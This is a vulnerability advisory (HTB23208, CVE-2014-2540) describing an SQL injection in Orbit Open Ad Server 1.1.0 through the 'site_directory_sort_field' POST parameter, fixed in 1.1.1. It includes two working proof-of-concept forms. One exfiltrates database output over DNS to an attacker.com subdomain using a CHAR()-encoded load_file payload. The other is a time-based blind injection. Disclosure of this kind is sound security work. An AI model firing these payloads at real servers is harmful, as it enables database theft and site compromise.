SQL Injection in Orbit Open Ad Server

Advisory ID:HTB23208
Product:Orbit Open Ad Server
Vendor:OrbitScripts, LLC
Vulnerable Versions:1.1.0 and probably prior
Tested Version:1.1.0
Advisory Publication:March 19, 2014 [without technical details]
Vendor Notification:March 19, 2014
Vendor Fix:March 21, 2014
Public Disclosure:April 9, 2014
Latest Update:April 8, 2014
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2014-2540
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Orbit Open Ad Server, which can be exploited to perform SQL Injection attacks, alter SQL requests to database of vulnerable application and potentially gain control over the vulnerable website.
1) SQL Injection in Orbit Open Ad Server: CVE-2014-2540
Input passed via the "site_directory_sort_field" HTTP POST parameter to "/guest/site_directory" URL is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL commands.
The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
<form action="http://[host]/guest/site_directory" method="post" name="main">
<input type="hidden" name="active_form" value="site_directory_form">
<input type="hidden" name="ad_type_filter" value="text">
<input type="hidden" name="category_filter" value="1">
<input type="hidden" name="cost_model_filter" value="cpm">
<input type="hidden" name="form_mode" value="save">
<input type="hidden" name="image_size_filter" value="12">
<input type="hidden" name="keyword_filter" value="1">
<input type="hidden" name="site_directory_page" value="1">
<input type="hidden" name="site_directory_per_page" value="10">
<input type="hidden" name="site_directory_sort_direction" value="asc">
<input type="hidden" name="site_directory_sort_field" value="(select load_file(CONCAT(CHAR(92), CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111), CHAR(111),CHAR(98),CHAR(97),CHAR(114))))">
<input type="submit" id="btn">
</form>

The second PoC code works against any platform (UNIX/Windows) and uses blind SQL injection brute-force (dichotomy) technique to extract data from the database:
<form action="http://[host]/guest/site_directory" method="post" name="main">
<input type="hidden" name="active_form" value="site_directory_form">
<input type="hidden" name="ad_type_filter" value="text">
<input type="hidden" name="category_filter" value="1">
<input type="hidden" name="cost_model_filter" value="cpm">
<input type="hidden" name="form_mode" value="save">
<input type="hidden" name="image_size_filter" value="12">
<input type="hidden" name="keyword_filter" value="1">
<input type="hidden" name="site_directory_page" value="1">
<input type="hidden" name="site_directory_per_page" value="10">
<input type="hidden" name="site_directory_sort_direction" value="asc">
<input type="hidden" name="site_directory_sort_field" value="(SELECT IF(ASCII(SUBSTRING((SELECT USER()),1,1))>=0,1, BENCHMARK(22000000,MD5(NOW()))))">
<input type="submit" id="btn">
</form>

How to Detect SQL Injection Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Update to Orbit Open Ad Server 1.1.1


References:
[1] High-Tech Bridge Advisory HTB23208 - https://www.immuniweb.com/advisory/HTB23208 - SQL Injection in Orbit Open Ad Server.
[2] Orbit Open Ad Server - http://orbitopenadserver.com/ - the free, open source ad tool that lets you manage the profits while we manage the technology.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter